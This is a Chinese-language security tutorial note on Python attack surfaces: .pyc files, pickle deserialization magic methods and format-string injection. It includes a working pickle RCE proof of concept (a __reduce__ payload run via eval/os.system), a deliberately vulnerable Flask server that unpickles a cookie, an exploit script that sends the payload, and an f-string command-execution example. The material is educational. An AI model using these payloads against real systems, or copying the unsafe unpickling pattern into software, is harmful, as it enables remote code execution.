Python安全

Python安全

Python-PYC

简介

pyc 文件是py 文件编译后生成的字节码文件(byte code),pyc 文件经过python 解释器最 终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般 py 文件改变后,都会重新生成pyc文件。

Python-反序列化

序列化:把类对象转化为字节流或文件

反序列化:将字节流或文件转化为类对象

各类语言序列化和反序列化函数:

Java: Serializable Externalizable 接口、fastjson、jackson、gson、 ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、 ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject 等

PHP: serialize()、 unserialize()

Python:pickle marshal json PyYAML shelve PIL unzip

python-反序列化函数使用:

  • pickle.dump (obj, file) : 将对象序列化后保存到文件
  • pickle.load (file) : 将文件序列化内容反序列化为对象
  • pickle.dumps (obj) : 将对象序列化成字符串格式的字节流
  • pickle.loads (bytes_obj) : 将字符串字节流反序列化为对象
  • PyYAML yaml.load()
  • JSON json.loads(s)
  • marshal

魔术方法:

  • 反序列化时调用:
    • reduce () 反序列化时调用
    • reduce_ex () 反序列化时调用
      • 发现前面这两个同时都有的时候,执行 reduce_ex 里面的,不执行 reduce 的
    • setstate () 反序列化时调用(类似于 php 的 isset 被设置)
      • 这个小迪没测试出来,貌似有点问题
  • 序列化时调用:
    • getstate () 序列化时调用
      • 这个我测试的时候是只要有 reduce 或者 reduce_ex 就不会执行

演示

  1. 序列化和反序列化演示 - test.py

  2. 序列化和反序列化形成 - test.py

    测试代码 test.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    import pickle
    import os,base64


    class test(object):
    def a(self):
    print('a')

    def __reduce__(self):
    #os.system('calc')
    return (eval, ("__import__('os').system('calc')",))

    def __reduce_ex__(self, protocol):
    return (eval, ("__import__('os').system('notepad')",))

    def __getstate__(self):
    cmd = "mstsc" # 命令
    os.system(cmd)

    def __setstate__(self, state):
    os.system('calc')

    t=test()
    dt=pickle.dumps(t) #序列化
    print(dt)
  3. 序列化和反序列化利用 - server.py pop.py

    server.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    import pickle
    import base64
    from flask import Flask, request
    app = Flask(__name__)

    @app.route("/")
    def index():
    try:
    user = base64.b64decode(request.cookies.get('user'))
    user = pickle.loads(user) #反序列化
    return "Hello %s" % user
    except:
    username = "Guest"
    return "Hello %s" % username


    if __name__ == '__main__':
    app.run(
    host='0.0.0.0',
    port=5000,
    debug=True
    )

    pop.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    import requests
    import pickle
    import os
    import base64

    class exp(object):
    def __reduce__(self):
    return (eval, ("__import__('os').system('calc')",))


    e = exp()
    s = pickle.dumps(e)
    user=base64.b64encode(s).decode()
    print(user)
    response = requests.get("http://127.0.0.1:5000/", cookies=dict(user=base64.b64encode(s).decode()))

Python - 格式化字符串 - 类魔术方法引用

参考地址:https://xz.aliyun.com/t/3569

  • 第一种:% 操作符

  • 第二种:string.Template

  • 第三种:调用 format 方法 (可控格式化字符串)

    • str-vuln.py
  • 第四种: f-Strings(可控格式化字符串)

    • 前面三个没什么危害,主要是第四种,重点关注

    • 这是 python3.6 之后新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的 python 表达式

    • >>> a , b = 5 , 10
      >>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
      'Five plus ten is 15 and not 30.'
      >>> f'{__import__("os").system("id")}'
      uid=0(root) gid=0(root) groups=0(root)
      '0'
      

更多参考:

第71天:WEB攻防-Python安全&反序列化利用链&PYC文件反编译&格式化字符串安全 – The-Starry-Sky